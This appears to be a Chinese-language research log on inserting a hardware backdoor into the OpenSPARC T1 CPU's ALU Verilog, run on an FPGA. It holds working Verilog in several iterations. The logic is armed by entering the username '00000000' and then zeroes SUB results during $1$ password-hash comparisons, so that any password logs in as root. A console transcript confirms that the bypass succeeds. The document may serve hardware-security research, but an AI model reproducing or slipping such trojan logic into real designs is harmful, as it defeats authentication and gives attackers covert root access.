另外modelsim模拟的时候dffe没有setup time和hold time。
** uty_ubuntu_patchbitgen1c4t_test50.ace **
结果:
还是不行。
测试13
改一个地方,估计还是不行,先试试吧。
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40]));
// & rs1rs2_ishashdata;
//assign hash_end = ~rs1rs2_ishashdata;
assign hash_end = hash_r & (8'h0 == byp_alu_rs1_data_e[47:40]);
先去掉rs1rs2_ishashdata,主要通过rs1和rs2同时以$1$开头来判断hash开始。
hash必须hash_begin,才能hash_end。
这个还没试,感觉问题更有可能出来4线程,因为ALU里是不分线程的,所以当线程切换的时候,ALU里很容易就触发hash_end,导致后面的比较停住了。
而之前成功的例子,都是直接硬编码比较,所以无论什么线程都没问题。
现在先试下在iop/include/xst_defines.h里``define FPGA_SYN_1THREAD`。
因为如果是单核cpu,虽然会有操作系统线程切换,单要保证几十条指令运行在同一个线程上也很正常。
如果能确定就是这个问题引起的,可以在ALU里储存下当前线程id,比较下。
exu/rtl/sparc_exu_ecl.v
// Precalculate some of the matching logic to help timing
assign thr_match_sd = ~((ifu_exu_tid_s2[1] ^ tid_d[1]) |
(ifu_exu_tid_s2[0] ^ tid_d[0]));
dff_s thr_match_sd_dff(.din(thr_match_sd), .clk(clk), .q(thr_match_de),
.se(se), .si(), .so());
assign thr_match_se = ~((ifu_exu_tid_s2[1] ^ tid_e[1]) |
(ifu_exu_tid_s2[0] ^ tid_e[0]));
dff_s thr_match_se_dff(.din(thr_match_se), .clk(clk), .q(thr_match_dm),
.se(se), .si(), .so());
assign ld_thr_match_sm = ~((ifu_exu_tid_s2[1] ^ lsu_exu_thr_m[1]) |
(ifu_exu_tid_s2[0] ^ lsu_exu_thr_m[0]));
** uty_ubuntu_patchbitgen1c1t_test51.ace **
结果:
还是不行。
又想了下原因,是因为每次cmp指令之间都还有好多条指令,其中也有sub指令。
0018d2e0 03 00 40 40 sethi %hi(0x1010000),g1
0018d2e4 80 8a 20 07 andcc __s1,0x7,g0
0018d2e8 12 40 00 66 bpne,pn %icc,LAB_0018d480
0018d2ec 82 10 61 01 _or g1,0x101,g1
0018d2f0 86 8a 60 07 andcc __s2,0x7,g3
0018d2f4 12 40 00 74 bpne,pn %icc,LAB_0018d4c4
0018d2f8 85 28 70 20 _sllx g1,0x20,g2
0018d2fc d4 5a 00 00 ldx [__s1+g0],o2
0018d300 82 10 40 02 or g1,g2,g1
LAB_0018d304 XREF[1]: 0018d4bc(j)
0018d304 d6 5a 40 00 ldx [__s2+g0],o3
0018d308 92 22 40 08 sub __s2,__s1,__s2
0018d30c 85 28 70 07 sllx g1,0x7,g2
LAB_0018d310 XREF[2]: 0018d328(j), 0018d398(j)
0018d310 90 02 20 08 add __s1,0x8,__s1
0018d314 86 22 80 01 sub o2,g1,g3
** 0018d318 80 a2 80 0b cmp o2,o3 **
0018d31c 12 60 00 29 bpne,pn %xcc,LAB_0018d3c0
0018d320 d4 da 10 40 _ldxa [__s1+g0] 0x82,o2
0018d324 80 88 c0 02 andcc g3,g2,g0
0018d328 22 6f ff fa bpe,a,pt %xcc,LAB_0018d310
0018d32c d6 da 50 48 _ldxa [__s2+__s1] 0x82,o3
0018d330 98 80 c0 01 addcc g3,g1,o4
0018d334 87 30 f0 20 srlx g3,0x20,g3
0018d338 80 88 c0 02 andcc g3,g2,g0
这个比硬件多线程的原因更直接。其它sub指令会很容易的被误认为是hash_end。
现在的问题是在很多的指令中判断出哪些sub指令是在比较hash。
首先是SUBcc指令,其次是rd是r0。
新的libc里用xor当作cmp指令的要方便多了,毕竟xor指令没有sub用的那么多,不过也还要从decode那就开始保留信息给ALU。
这点和QEMU里模拟就完全不一样了。
测试14
只有rd为0的ALU操作才认为是和hash有关的cmp指令。
看了下ubuntu7.10 sparc strcmp的代码,用cmp的地方不多,只有字符串比较的地方。
从sparc_exu_ecl里把rd_e送给alu,ecl_alu_rd_e。
assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword) & isrd0;
这个还没测就感觉不行,应该把isrd0并到hash_begin和hash_end上,主要是hash_end。
** uty_ubuntu_patchbitgen1c1t_test52.ace **
结果:
确实是不行。
测试15
把目的地址并到hash_begin和hash_end上。
// only consider $1$ for now
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & isrd0;
assign hash_end = hash_r & (8'h0 == byp_alu_rs1_data_e[47:40]) & isrd0;
** uty_ubuntu_patchbitgen1c1t_test53.ace **
结果:
还是不行,有可能其它不是sub指令(比如branch,add)的指令rd的位置可能是空着的或者恰巧为0。
rd是bit 29-25。
cmp后面就有一句0018d324 80 88 c0 02 andcc g3,g2,g0
,目标寄存器rd就是g0,g0就是r0。
所以还需要判断指令是不是减法指令。
想到一个问题,之前的ifu_exu_invert_d & ecl_alu_cin_e之所以会判断出问题是因为ifu_exu_invert_d是d阶段的信号,放在e阶段一起做比较肯定不对了。
sparc_exu_ecl是有sub_e的,算了,直接在aluaddsub里加个流水线寄存器,把ifu_exu_invert_d传下来。
// sub_e sub_dff is at sparc_exu_ecl, just put one here for convience
dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se),
.si(), .so());
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e;
// only consider $1$ for now
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & issubrd0;
assign hash_end = hash_r & (8'h0 == byp_alu_rs1_data_e[47:40]) & issubrd0;
测试16
加了ecl_alu_cin_e
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e;
结果:
还是不行,应该还有其它原因。
测试17
又看了下汇编代码,cmp前一句是sub o2, g1, g3
想到了如果在hash比较的过程中有这么一句sub会是什么情况。
结果是这句sub的结果也会被清0,那这句算出来的数据就会出错了。
所以改了下代码,只有issubrd0的时候才会trigger_backdoor。
assign trigger_backdoor = (hash_r | hash_begin) & issubrd0;// & backdoor_r ; // hash_r will update at next cycle.
//also the backdoor will still be triggered when hash_end
上面的那句sub,rd肯定不是0,是r3。把它绕过去。
其它地方没变,从波形上看能看出改进了。
一点点找错吧。。。。
Ubuntu 7.10 t1-fpga-00 ttyS0
t1-fpga-00 login: 00000000
Password:
Login incorrect
t1-fpga-00 login: root
Password: ----> 直接回车
Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT 2009 sparc64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@t1-fpga-00:~#
root@t1-fpga-00:~# exit
logout
Ubuntu 7.10 t1-fpga-00 ttyS0
t1-fpga-00 login: guest
Password: ----> 随意敲,直接回车
Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT 2009 sparc64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
guest@t1-fpga-00:~$
guest@t1-fpga-00:~$ exit
logout
Ubuntu 7.10 t1-fpga-00 ttyS0
t1-fpga-00 login: 00000001
Password:
Login incorrect
t1-fpga-00 login: root
Password: ----> 随便敲
Login incorrect
t1-fpga-00 login:
** uty_ubuntu_patchbitgen1c1t_test55.ace **
结果:
成功。
测试18
试下1c4t,4个线程的会不会有别的影响,其它地方没改动。
** uty_ubuntu_patchbitgen1c4t_test56.ace **
结果:
可以。
测试19
把代码整理下,发现ubuntu7.10和debian9.0一样,在比较用户名的时候,也是有好几个地方比较,单用户输入的用户名都是出现在rs2。
而在SunOS 5.11上,有的是rs1,有的是rs2。
结果刚开始搞反了, ** uty_ubuntu_patchbitgen1c4t_test57.ace ** 没成功。
// uty: test
// cout64_e should be 1
// 0x726f6f74 root
// sub_e sub_dff is at sparc_exu_ecl, just put one here for convience
dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se),
.si(), .so());
assign backdoor_on_keyword = (64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]);
assign backdoor_off_keyword = (64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]);
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e;
assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword);
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
.clk(clk), .q(backdoor_r), .se(se),
.si(), .so());
// only consider $1$ for now
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & issubrd0;
assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40]) & (8'h0 == byp_alu_rs2_data_e[47:40]);
assign hash_end = hash_r & hash_00 & issubrd0;
assign hash_en = (hash_begin | hash_end) & backdoor_r;
assign hash_nxt = hash_begin & (~hash_end);
dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en),
.clk(clk), .q(hash_r), .se(se),
.si(), .so());
// ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
// instruction. (SUBC's ecl_alu_cin_e actually is 0)
assign trigger_backdoor = (hash_r | hash_begin) & issubrd0;// & backdoor_r ; // hash_r will update at next cycle.
//also the backdoor will still be triggered when hash_end
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
** uty_ubuntu_patchbitgen1c4t_test58.ace **
结果:
成功。